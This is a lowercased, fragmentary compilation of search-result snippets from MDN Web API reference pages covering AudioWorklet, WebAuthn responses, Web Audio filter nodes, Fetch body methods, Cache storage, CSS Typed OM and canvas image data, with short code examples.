...}) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) next, in our main scripts file we'll load the processor, create an instance of audioworkletnode passing it the name of the processor, and connect the node to an audio graph. ...
AudioWorkletNode.port - Web APIs
(e) => { console.log(e.data) this.port.postmessage('pong') } } process (inputs, outputs, parameters) { return true } } registerprocessor('ping-pong-processor', pingpongprocessor) now in our main scripts file we'll load the processor, create an instance of audioworkletnode passing the name of the processor, and connect the node to an audio graph. ...
..., parameters) { return true } } registerprocessor('ping-pong-processor', pingpongprocessor) now in our main scripts file we'll load the processor, create an instance of audioworkletnode passing the name of the processor, and connect the node to an audio graph. ...
AudioWorkletNode - Web APIs
...
...nel => { for (let i = 0; i < channel.length; i++) { channel[i] = math.random() * 2 - 1 } }) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) next, in our main script file we'll load the processor, create an instance of audioworkletnode passing it the name of the processor, and connect the node to an audio graph. const audiocontext =
new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode =
new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletnode' in that specification. working draft ...
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
ue which is to be used for all 128 samples // if no automation is scheduled for the moment. } }) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) next, in our main scripts file we'll load the processor, create an instance of audioworkletnode passing it the name of the processor, and connect the node to an audio graph. ...
...}) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) next, in our main scripts file we'll load the processor, create an instance of audioworkletnode passing it the name of the processor, and connect the node to an audio graph. ...
AudioWorkletProcessor.port - Web APIs
(e) => { console.log(e.data) this.port.postmessage('pong') } } process (inputs, outputs, parameters) { return true } } registerprocessor('ping-pong-processor', pingpongprocessor) now in our main scripts file we'll load the processor, create an instance of audioworkletnode passing the name of the processor, and connect the node to an audio graph. ...
..., parameters) { return true } } registerprocessor('ping-pong-processor', pingpongprocessor) now in our main scripts file we'll load the processor, create an instance of audioworkletnode passing the name of the processor, and connect the node to an audio graph. ...
AudioWorkletProcessor.process - Web APIs
essor worklet. although the method is not a part of the audioworkletprocessor interface, any implementation of audioworkletprocessor must provide a process() method. the method is called synchronously from the audio rendering thread, once for each block of audio (also known as a rendering quantum) being directed through the processor's corresponding audioworkletnode. in other words, every time a
new block of audio is ready for your processor to manipulate, your process() function is invoked to do so. important: currently, audio data blocks are always 128 frames long—that is, they contain 128 32-bit floating-point samples for each of the inputs' channels. however, plans are already in place to revise the specification to allow the size of the audio blocks to be changed depending on circum...
...have influence over the lifetime policy of the audioworkletprocessor and the node that owns it. if the combination of the return value and the state of the node causes the browser to decide to stop the node, process() will not be called again. returning true forces the web audio api to keep the node alive, while returning false allows the browser to terminate the node if it is neither generating
new audio data nor receiving data through its inputs that it is processing. the 3 most common types of audio node are: a source of output. an audioworkletprocessor implementing such a node should return true from the process method as long as it produces an output. the method should return false as soon as it's known that it will no longer produce an output. for example, take the audiobuffersourc...
AudioWorkletProcessor - Web APIs
ssor and classes that derive from it cannot be instantiated directly from a user-supplied code. instead, they are created only internally by the creation of an associated audioworkletnodes. the constructor of the deriving class is getting called with an options object, so you can perform a custom initialization procedures — see constructor page for details. audioworkletprocessor() creates a
new instance of an audioworkletprocessor object. properties port read only returns a messageport used for bidirectional communication between the processor and the audioworkletnode which it belongs to. the other end is available under the port property of the node. methods the audioworkletprocessor interface does not define any methods of its own. however, you must provide a process() metho...
...l => { for (let i = 0; i < channel.length; i++) { channel[i] = math.random() * 2 - 1 } }) return true } } registerprocessor('white-noise-processor', whitenoiseprocessor) next, in our main script file we'll load the processor, create an instance of audioworkletnode, passing it the name of the processor, then connect the node to an audio graph. const audiocontext =
new audiocontext() await audiocontext.audioworklet.addmodule('white-noise-processor.js') const whitenoisenode =
new audioworkletnode(audiocontext, 'white-noise-processor') whitenoisenode.connect(audiocontext.destination) specifications specification status comment web audio apithe definition of 'audioworkletprocessor' in that specification. working draft ...
AuthenticatorResponse.clientDataJSON - Web APIs
= authenticatorattestationresponse.clientdatajson; var arraybuffer = authenticatorassertionresponse.clientdatajson; value an arraybuffer. properties after the clientdatajson object is converted from an arraybuffer to a javascript object, it will have the following properties: type a string which is either "webauthn.get" when an existing credential is retrieved or "webauthn.create" when a
new credential is created. challenge the base64url encoded version of the cryptographic challenge sent from the relying party's server. the original value is passed via publickeycredentialrequestoptions.challenge or publickeycredentialcreationoptions.challenge. origin the fully qualified origin of the requester which has been given by the client/browser to the authenticator. we should expect the ...
...g but did not negotiate with the relying party or "present" when token binding was used already id: a domstring which is the base64url encoding of the token binding id which was used for the communication. should this property be absent, it would indicate that the client does not support token binding. ...
AuthenticatorResponse - Web APIs
authenticatorresponse interface. authenticatorassertionresponse authenticatorattestationresponse properties authenticatorresponse.clientdatajson a json string in an arraybuffer, representing the client data that was passed to credentialscontainer.create() or credentialscontainer.get(). methods none. ...
...ssertionresponse = credentialinfoassertion.response; // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); getting an authenticatorattestationresponse var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id:
new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { var attestationresponse =
newcredentialinfo.response; }).catch(function (err) { console.error(err); }); specifications specificatio...
BaseAudioContext.createBufferSource() - Web APIs
the createbuffersource() method of the baseaudiocontext interface is used to create a
new audiobuffersourcenode, which can be used to play audio data contained within an audiobuffer object. audiobuffers are created using baseaudiocontext.createbuffer or returned by baseaudiocontext.decodeaudiodata when it successfully decodes an audio track. syntax var source = baseaudiocontext.createbuffersource(); returns an audiobuffersourcenode. example in this example, we create a two second buffer, fill it with white noise, and then play it via an audiobuffersourcenode. the comments should clearly explain what is going on. note: you can also run the code live, or view the source. ...
...it successfully decodes an audio track. syntax var source = baseaudiocontext.createbuffersource(); returns an audiobuffersourcenode. example in this example, we create a two second buffer, fill it with white noise, and then play it via an audiobuffersourcenode. the comments should clearly explain what is going on. note: you can also run the code live, or view the source. ...
BaseAudioContext.createConvolver() - Web APIs
e an audiobuffer containing a sound sample to be used as an ambience to shape the convolution (called the impulse response,) and apply that to the convolver. the example below uses a short sample of a concert hall crowd, so the reverb effect applied is really deep and echoey. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). ...
...hall crowd, so the reverb effect applied is really deep and echoey. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var convolver = audioctx.createconvolver(); ... ...
BaseAudioContext.createScriptProcessor() - Web APIs
unt of white noise, before setting that result to be the output sample in each case. ...
... // create audiocontext and buffer source var audioctx =
new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request =
new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a func...
BaseAudioContext.createWaveShaper() - Web APIs
audiocontext to create a wave shaper node. for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code). note: sigmoid functions are commonly used for distortion curves because of their natural properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. ...
...al properties. their s-shape, for instance, helps create a smoother sounding result. we found the below distortion curve code on stack overflow. var audioctx =
new (window.audiocontext || window.webkitaudiocontext)(); var distortion = audioctx.createwaveshaper(); ... function makedistortioncurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve =
new float32array(n_samples), deg = math.pi / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( math.pi + k * math.abs(x) ); } return curve; }; ... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe d...
BasicCardRequest - Web APIs
e card given the information coded into the account number. card network identifiers the w3c maintains an official list of approved card network identifier strings, which may be used in the supportednetworks list. those are: amex cartebancaire diners discover jcb mastercard mir unionpay visa examples in the following example, the paymentrequest() constructor is used to create a
new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object that describes what data is needed to fullfil the payment (e.g., a shipping address). the first of these three (supportedinstruments in the exampl...
... // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. }) .catch(function(err) { // do something with the error from request.show(). }); } catch (e) { // catch any other errors. } once the payme...
BasicCardResponse - Web APIs
onth of the card used to make the payment. basiccardresponse.expiryyear read only secure context optional contains the expiry year of the card used to make the payment. basiccardresponse.billingaddress read only secure context optional contains the billing address of the card used to make the payment. examples in the following example, the paymentrequest() constructor is used to create a
new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object containing further options. the first of these three (supportedinstruments in the example below) contains a data property that has to conform to t...
... // call show() to trigger the browser's payment flow. request.show().then(function(instrumentresponse) { // do something with the response from the ui. }) .catch(function(err) { // do something with the error from request.show(). }); } catch (e) { // catch any other errors. } once the payme...
BiquadFilterNode() - Web APIs
context a reference to an audiocontext. options optional options are as follows: type: one of "lowpass", "highpass", "bandpass", "lowshelf", "highshelf", "peaking", "notch", "allpass". the meaning of the other options depends on the value of this one. ...
...ween the various frequencies. it implements a second-order allpass filter. q: the sharpness of the phase transition at the center frequency. a larger value implies a sharper transition and a larger group delay. frequency: the frequency where the center of the phase transition occurs. viewed another way, this is the frequency with maximal group delay. gain: not used. return value a
new biquadfilternode object instance. specifications specification status comment web audio apithe definition of 'biquadfilternode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/m...
BiquadFilterNode.Q - Web APIs
the q property of the biquadfilternode interface is an a-rate audioparam, a double representing a q factor, or quality factor. it is a dimensionless value with a default value of 1 and a nominal range of 0.0001 to 1000. syntax var audioctx =
new audiocontext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.q.value = 100; note: though the audioparam returned is read-only, the value it represents is not. value an audioparam. example the following example shows basic usage of an audiocontext to create a biquad filter node. ...
...uadfilter = audioctx.createbiquadfilter(); biquadfilter.q.value = 100; note: though the audioparam returned is read-only, the value it represents is not. value an audioparam. example the following example shows basic usage of an audiocontext to create a biquad filter node. for a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
BiquadFilterNode.detune - Web APIs
the detune property of the biquadfilternode interface is an a-rate audioparam representing detuning of the frequency in cents. syntax var audioctx =
new audiocontext(); var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.detune.value = 100; note: though the audioparam returned is read-only, the value it represents is not. value an a-rate audioparam. example the following example shows basic usage of an audiocontext to create a biquad filter node. for a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
...audioctx.createbiquadfilter(); biquadfilter.detune.value = 100; note: though the audioparam returned is read-only, the value it represents is not. value an a-rate audioparam. example the following example shows basic usage of an audiocontext to create a biquad filter node. for a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
BiquadFilterNode.frequency - Web APIs
the frequency property of the biquadfilternode interface is a k-rate audioparam, a double representing a frequency in the current filtering algorithm measured in hertz (hz). frequency's default value is 350 with a nominal range of 10 to the nyquist frequency — that is, half of the sample rate. ...
... = audioctx.createbiquadfilter(); biquadfilter.frequency.value = 3000; note: though the audioparam returned is read-only, the value it represents is not. value an audioparam. example the following example shows basic usage of an audiocontext to create a biquad filter node. for a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
BiquadFilterNode.gain - Web APIs
the gain property of the biquadfilternode interface is a a-rate audioparam, a double representing the gain used in the current filtering algorithm. when it takes a positive value it is a real gain, when negative it is an attenuation. it is expressed in db, has a default value of 0 and can take a value in a nominal range of -40 to 40. ...
...dfilter = audioctx.createbiquadfilter(); biquadfilter.gain.value = 25; note: though the audioparam returned is read-only, the value it represents is not. value an audioparam. example the following example shows basic usage of an audiocontext to create a biquad filter node. for a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
BiquadFilterNode.type - Web APIs
type values and their meaning type description frequency q gain lowpass standard second-order resonant lowpass filter with 12db/octave rolloff. frequencies below the cutoff pass through; frequencies above it are attenuated. the cutoff frequency. ...
... transition occurs. controls how sharp the transition is at the medium frequency. the larger this parameter is, the sharper and larger the transition will be. not used example the following example shows basic usage of an audiocontext to create a biquad filter node. for a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
BiquadFilterNode - Web APIs
ferent kinds of filters, tone control devices, and graphic equalizers. a biquadfilternode always has exactly one input and one output. number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor biquadfilternode() creates a
new instance of a biquadfilternode object. properties inherits properties from its parent, audionode. note: though the audioparam objects returned are read-only, the values they represent are not. biquadfilternode.frequency read only is an a-rate audioparam, a double representing a frequency in the current filtering algorithm measured in hertz (hz). biquadfilternode.detune read only is a...
...e.getfrequencyresponse() from the current filter parameter settings this method calculates the frequency response for frequencies specified in the provided array of frequencies. example the following example shows basic usage of an audiocontext to create a biquad filter node. for a complete working example, check out our voice-change-o-matic demo (look at the source code too). ...
BlobBuilder - Web APIs
the blobbuilder interface provides an easy way to construct blob objects. just create a blobbuilder and append chunks of data to it by calling the append() method. when you're done building your blob, call getblob() to retrieve a blob containing the data you sent into the blob builder. note: the blobbuilder interface has been deprecated in favor of the
newly introduced blob constructor. method overview void append(in arraybuffer data); void append(in blob data); void append(in string data, [optional] in string endings); blob getblob([optional] in domstring contenttype); file getfile(in domstring name, [optional] in domstring contenttype); methods append() appends the contents of the specified javascript object to the blob being built...
... in domstring contenttype optional ); parameters contenttype optional the mime type of the data to be returned in the blob. this will be the value of the blob object's type property. return value a blob object containing all of the data passed to any calls to append() made since the blobbuilder was created. this also resets the blobbuilder so that the next call to append() is starting a
new, empty blob. getfile() returns a file object. file getfile( in domstring name, [optional] in domstring contenttype ); parameters name the file name. contenttype optional the mime type of the data to be returned in the file. this will be the value of the file object's type property. return value a file object. ...
Body.blob() - Web APIs
nction(myblob) { // do something with myblob }); parameters none. note: if the response has a response.type of "opaque", the resulting blob will have a blob.size of 0 and a blob.type of empty string "", which renders it useless for methods like url.createobjecturl. return value a promise that resolves with a blob. ...
...request example (run fetch request live), we create a
new request using the request() constructor, then use it to fetch a jpg. when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image. var myimage = document.queryselector('img'); var myrequest =
new request('flowers.jpg'); fetch(myrequest) .then(response => response.blob()) .then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'blob()' in that specification. living standard ...
Body.body - Web APIs
using readablestream.getreader(), then enqueue that stream's chunks into a second, custom readable stream — effectively creating an identical copy of the image. ...
... living standard ...
Body.json() - Web APIs
t resolves with the result of parsing the body text as json. syntax response.json().then(data => { // do something with your data }); parameters none. return value a promise that resolves to a javascript object. this object could be anything that can be represented by json — an object, an array, a string, a number... ...
... in our fetch json example (run fetch json live), we create a
new request using the request() constructor, then use it to fetch a .json file. when the fetch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list items to display our product data. const mylist = document.queryselector('ul'); const myrequest =
new request('products.json'); fetch(myrequest) .then(response => response.json()) .then(data => { for (const product of data.products) { let listitem = document.createelement('li'); listitem.appendchild( document.createelement('strong') ).textcontent = product.name; listitem.append( ` can be found in ${ product.location }. cost: ` ...
Body.text() - Web APIs
ing. example in our fetch text example (run fetch text live), we have an <article> element and three links (stored in the mylinks array.) first, we loop through all of these and give each one an onclick event handler so that the getdata() function is run — with the link's data-page identifier passed to it as an argument — when one of the links is clicked. when getdata() is run, we create a
new request using the request() constructor, then use it to fetch a specific .txt file. when the fetch is successful, we read a usvstring (text) object out of the response using text(), then set the innerhtml of the <article> element equal to the text object. let myarticle = document.queryselector('article'); let mylinks = document.queryselectorall('ul a'); for(let i = 0; i <= mylinks.length-1; i++...
...le> element equal to the text object. let myarticle = document.queryselector('article'); let mylinks = document.queryselectorall('ul a'); for(let i = 0; i <= mylinks.length-1; i++) { mylinks[i].onclick = function(e) { e.preventdefault(); let linkdata = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest =
new request(pageid + '.txt'); fetch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comment fetchthe definition of 'text()' in that specification. living standard ...
BroadcastChannel: messageerror event - Web APIs
the messageerror event is fired on a broadcastchannel object when a message arrives on the channel that can't be deserialized. ...
...es this code uses addeventlistener to listen for messages and errors: const channel =
new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); channel.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessage and onmessageerror event handler properties: const channel =
new broadcastchannel('example-channel'); channel.onmessage = (event) => { received.textcontent = event.data; }; channel.onmessageerror = (event) => { console.log(event); }; specifications specification status html living standard living standard ...
CSSKeywordValue.CSSKeywordValue() - Web APIs
the csskeywordvalue constructor creates a
new csskeywordvalue object which represents css keywords and other identifiers. syntax var csskeywordvalue =
new csskeywordvalue(val) parameters value sets or returns the value of the
new csskeywordvalue. examples the following example resets the css display property to its defaults, setting the inline style attribute to style="display: initial" if viewed in the developer tools inspector. ...
...ue of the
new csskeywordvalue. examples the following example resets the css display property to its defaults, setting the inline style attribute to style="display: initial" if viewed in the developer tools inspector. #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let keyword =
new csskeywordvalue('initial'); let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', keyword); console.log( myelement.get('display').value); // 'initial' console.dir( keyword ); specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification. working draft ini...
CSSKeywordValue - Web APIs
the csskeywordvalue interface of the the css typed object model api creates an object to represent css keywords and other identifiers. the interface instance name is a stringifier meaning that when used anywhere a string is expected it will return the value of csskeyword.value. constructor csskeywordvalue.csskeywordvalue() creates a
new csskeywordvalue object. properties csskeywordvalue.value returns or sets the value of the csskeywordvalue. methods inherits methods from cssstylevalue. examples the following example resets the css display property to its defaults, setting the inline style attribute to style="display: initial" if viewed in the developer tools inspector. #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in...
... property to its defaults, setting the inline style attribute to style="display: initial" if viewed in the developer tools inspector. #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display',
new csskeywordvalue('initial')); console.log( myelement.get('display').value); // 'initial' specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification. working draft initial definition. ...
CSSMathProduct.CSSMathProduct() - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathproduct()' in that specification. ...
... specifications specification status comment css typed om level 1the definition of 'cssmathproduct()' in that specification. ...
CSSMathSum.CSSMathSum() - Web APIs
specifications specification status comment css typed om level 1the definition of 'cssmathsum()' in that specification. ...
... specifications specification status comment css typed om level 1the definition of 'cssmathsum()' in that specification. ...
CSSNumericValue.equals() - Web APIs
equality to be tested quickly. syntax var boolean = cssnumericvalue.equals(number); parameters number either a number or a cssnumericvalue. return value a boolean. exceptions none. examples as stated earlier, all passed values must be of the same type and value and must be in the same order. some of the following examples illustrate what happens when they are not. ...
...icvalue.equals(number); parameters number either a number or a cssnumericvalue. return value a boolean. exceptions none. examples as stated earlier, all passed values must be of the same type and value and must be in the same order. some of the following examples illustrate what happens when they are not. ...
CSSPositionValue.CSSPositionValue() - Web APIs
the csspositionvalue constructor creates a
new csspositionvalue object which represents values for properties that take a position, for example object-position. syntax cvar csspositionvalue =
new csspositionvalue(x, y) parameters x a position along the web page's horizontal axis. y a position along the web page's vertical axix. examples the following example positions a container <div> 5 pixels from the top and 10 pixels from the left of the page. ...
...or example object-position. syntax cvar csspositionvalue =
new csspositionvalue(x, y) parameters x a position along the web page's horizontal axis. y a position along the web page's vertical axix. examples the following example positions a container <div> 5 pixels from the top and 10 pixels from the left of the page. ...
CSSPositionValue - Web APIs
the csspositionvalue interface of the the css typed object model api represents values for properties that take a position, for example object-position. constructor csspositionvalue.csspositionvalue() creates a
new csspositionvalue object. properties csspositionvalue.x returns the item's position along the web page's horizontal axis. csspositionvalue.y returns the item's position along the vertical axis. methods none. examples the following example positions a container <div> 5 pixels from the top and 10 pixels from the left of the page. ...
...alue object. properties csspositionvalue.x returns the item's position along the web page's horizontal axis. csspositionvalue.y returns the item's position along the vertical axis. methods none. examples the following example positions a container <div> 5 pixels from the top and 10 pixels from the left of the page. let replacedel = document.getelementbyid( 'image' ); let position =
new csspositionvalue( css.px(35), css.px(40) ); replacedel.attributestylemap.set( 'object-position', position ); console.log( position.x.value, position.y.value ); console.log( replacedel.computedstylemap().get('object-position') ); we set the object-position property, then check the values returned. #image { width: 300px; height: 300px; border: 1px solid black; background-color: #dededf; ...
CSSUnitValue - Web APIs
the cssunitvalue interface of the css typed object model api represents values that contain a single unit type. for example, "42px" would be represented by a cssnumericvalue. constructor cssstylevalue.cssunitvalue() creates a
new cssunitvalue object. properties cssunitvalue.value returns a double indicating the number of units. cssunitvalue.unit returns a usvstring indicating the type of unit. event handlers none. methods none. examples the following shows a method of creating a csspositionvalue from individual cssunitvalue constructors. ...
... constructor cssstylevalue.cssunitvalue() creates a
new cssunitvalue object. properties cssunitvalue.value returns a double indicating the number of units. cssunitvalue.unit returns a usvstring indicating the type of unit. event handlers none. methods none. examples the following shows a method of creating a csspositionvalue from individual cssunitvalue constructors. let pos =
new csspositionvalue(
new cssunitvalue(5, "px"),
new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification. working draft initial definition. ...
CSSUnparsedValue.keys() - Web APIs
specifications specification status comment css typed om level 1the definition of 'keys()' in that specification. ...
... specifications specification status comment css typed om level 1the definition of 'keys()' in that specification. ...
CSSUnparsedValue - Web APIs
the cssunparsedvalue interface of the css typed object model api represents property values that reference custom properties. it consists of a list of string fragments and variable references. custom properties are represented by cssunparsedvalue and var() references are represented using cssvariablereferencevalue. constructor cssunparsedvalue.cssunparsedvalue() creates a
new cssunparsedvalue object. properties cssunparsedvalue.length returns the number of items in the cssunparsedvalue object. methods cssunparsedvalue.entries() returns an array of a given object's own enumerable property [key, value] pairs in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well). cssunpars...
...arsedvalue.entries() returns an array of a given object's own enumerable property [key, value] pairs in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well). cssunparsedvalue.foreach() executes a provided function once for each element of the cssunparsedvalue object. cssunparsedvalue.keys() returns a
new array iterator object that contains the keys for each index in the cssunparsedvalue object. cssunparsedvalue.values() returns a
new array iterator object that contains the values for each index in the cssunparsedvalue object. specifications specification status comment css typed om level 1the definition of 'cssunparsedvalue' in that specification. working draft ...
Using the CSS Painting API - Web APIs
ixels wide we want the stroke to be: li { background-image: paint(hollowhighlights, stroke, 10px); } when we get our list of argument values, we can ask specifically for a <length> unit. static get inputarguments() { return ['*', '<length>']; } now we can access the type and value properties, meaning we can get the number of pixels and a number type right out of the box. (admittedly, ctx.li
newidth takes a float as a value rather than a value with length units, but for example's sake...) paint(ctx, size, props, args) { const strokewidth = args[1]; if (strokewidth.unit === 'px') { ctx.li
newidth = strokewidth.value; } else { ctx.li
newidth = 1.0; } ... } it's worth noting the difference between using custom properties to control different parts of this worklet and the ...
...the highlight & dimensions const x = 0; const y = size.height * 0.3; const blockwidth = size.width * 0.33; const blockheight = size.height * 0.85; // the values passed in the paint() function in the css const colour = props.get( '--boxcolor' ); const stroketype = args[0].tostring(); const strokewidth = parseint(args[1]); // set the stroke width if ( strokewidth ) { ctx.li
newidth = strokewidth; } else { ctx.li
newidth = 1.0; } // set the fill type if ( stroketype === 'stroke' ) { ctx.fillstyle = 'transparent'; ctx.strokestyle = colour; } else if ( stroketype === 'filled' ) { ctx.fillstyle = colour; ctx.strokestyle = colour; } else { ctx.fillstyle = 'none'; ctx.strokestyle = 'none'; } // block ctx.beginpath(); ctx.moveto( x, y )...
Cache.add() - Web APIs
note: add() will overwrite any key/value pair previously stored in the cache that matches the request. ...
...0 range (i.e., not a successful response.) this occurs if the request does not return successfully, but also if the request is a cross-origin no-cors request (in which case the reported status is always 0.) examples this code block waits for an installevent to fire, then calls waituntil() to handle the install process for the app. this consists of calling cachestorage.open to create a
new cache, then using cache.add to add an asset to it. this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add('/sw-test/index.html'); }) ); }); specifications specification status comment service workersthe definition of 'cache: add' in that specification. working draft initial d...
Cache - Web APIs
delete the cache storage for an origin. the browser will generally delete all of the data for an origin or none of the data for an origin. make sure to version caches by name and use the caches only from the version of the script that they can safely operate on. see deleting old caches for more information. note: the key matching algorithm depends on the vary header in the value. so matching a
new key requires looking at both key and value for entries in the cache. note: the caching api doesn't honor http caching headers. methods cache.match(request, options) returns a promise that resolves to the response associated with the first matching request in the cache object. cache.matchall(request, options) returns a promise that resolves to an array of all matching requests in the ca...
...worker.js script is performing. var cache_version = 1; var current_caches = { font: 'font-cache-v' + cache_version }; self.addeventlistener('activate', function(event) { // delete all caches that aren't named in current_caches. // while there is only one cache in this example, the same logic will handle the case where // there are multiple versioned caches. var expectedcachenamesset =
new set(object.values(current_caches)); event.waituntil( caches.keys().then(function(cachenames) { return promise.all( cachenames.map(function(cachename) { if (!expectedcachenamesset.has(cachename)) { // if this cache name isn't present in the set of "expected" cache names, then delete it. console.log('deleting out of date cache:', cachename); ...
CacheStorage - Web APIs
h(). methods cachestorage.match() checks if a given request is a key in any of the cache objects that the cachestorage object tracks, and returns a promise that resolves to that match. cachestorage.has() returns a promise that resolves to true if a cache object matching the cachename exists. cachestorage.open() returns a promise that resolves to the cache object matching the cachename (a
new cache is created if it doesn't already exist.) cachestorage.delete() finds the cache object matching the cachename, and if found, deletes the cache object and returns a promise that resolves to true. if no cache object is found, it resolves to false. cachestorage.keys() returns a promise that will resolve with an array containing strings corresponding to all of the named cache objects tracked...
...g to all of the named cache objects tracked by the cachestorage. use this method to iterate over a list of all the cache objects. examples this code snippet is from the mdn sw-test example (see sw-test running live.) this service worker script waits for an installevent to fire, then runs waituntil to handle the install process for the app. this consists of calling cachestorage.open to create a
new cache, then using cache.addall to add a series of assets to it. in the second code block, we wait for a fetchevent to fire. we construct a custom response like so: check whether a match for the request is found in the cachestorage. if so, serve that. if not, fetch the request from the network, then also open the cache created in the first block and add a clone of the request to it using cach...
CanvasRenderingContext2D.addHitRegion() - Web APIs
using the addhitregion method this example demonstrates the addhitregion() method. html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); canvas.addeventlistener('mousemove', function(event) { if(event.region) { alert('ouch, my eye :('); } }); ctx.beginpath(); ctx.arc(100, 100, 75, 0, 2 * math.pi); ctx.li
newidth = 5; ctx.stroke(); // eyes ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi); ctx.arc(130, 80, 10, 0, 2 * math.pi); ctx.fill(); ctx.addhitregion({id: "eyes"}); // mouth ctx.beginpath(); ctx.arc(100, 110, 50, 0, math.pi); ctx.stroke(); edit the code below to see your changes update live in the canvas. (if you don't see the full smiley, check the browser compatibility table to see if you...
... need to activate a preference.) playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code" style="height:250px"> ctx.beginpath(); ctx.arc(100, 100, 75, 0, 2 * math.pi, false); ctx.li
newidth = 5; ctx.stroke(); // eyes ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi, false); ctx.arc(130, 80, 10, 0, 2 * math.pi, false); ctx.fill(); ctx.addhitregion({id: "eyes"}); // mouth ctx.beginpath(); ctx.arc(100, 110, 50, 0, math.pi, false); ctx.stroke();</textarea> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); var textarea = document.getelementbyid...
CanvasRenderingContext2D.createImageData() - Web APIs
the canvasrenderingcontext2d.createimagedata() method of the canvas 2d api creates a
new, blank imagedata object with the specified dimensions. all of the pixels in the
new object are transparent black. syntax imagedata ctx.createimagedata(width, height); imagedata ctx.createimagedata(imagedata); parameters width the width to give the
new imagedata object. a negative value flips the rectangle around the vertical axis. height the height to give the
new imagedata object. a negative value flips the rectangle around the horizontal axis. imagedata an existing imagedata object from which to copy the width and height. the image itself is not copied. return value a
new imagedata object with the specified width and height. the
new object is filled with transparent black pixels. errors...
...sists of four array values, so the object's data property has a length of 4 × 5,000, or 20,000. const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const imagedata = ctx.createimagedata(100, 50); console.log(imagedata); // imagedata { width: 100, height: 50, data: uint8clampedarray[20000] } filling a blank imagedata object this example creates and fills a
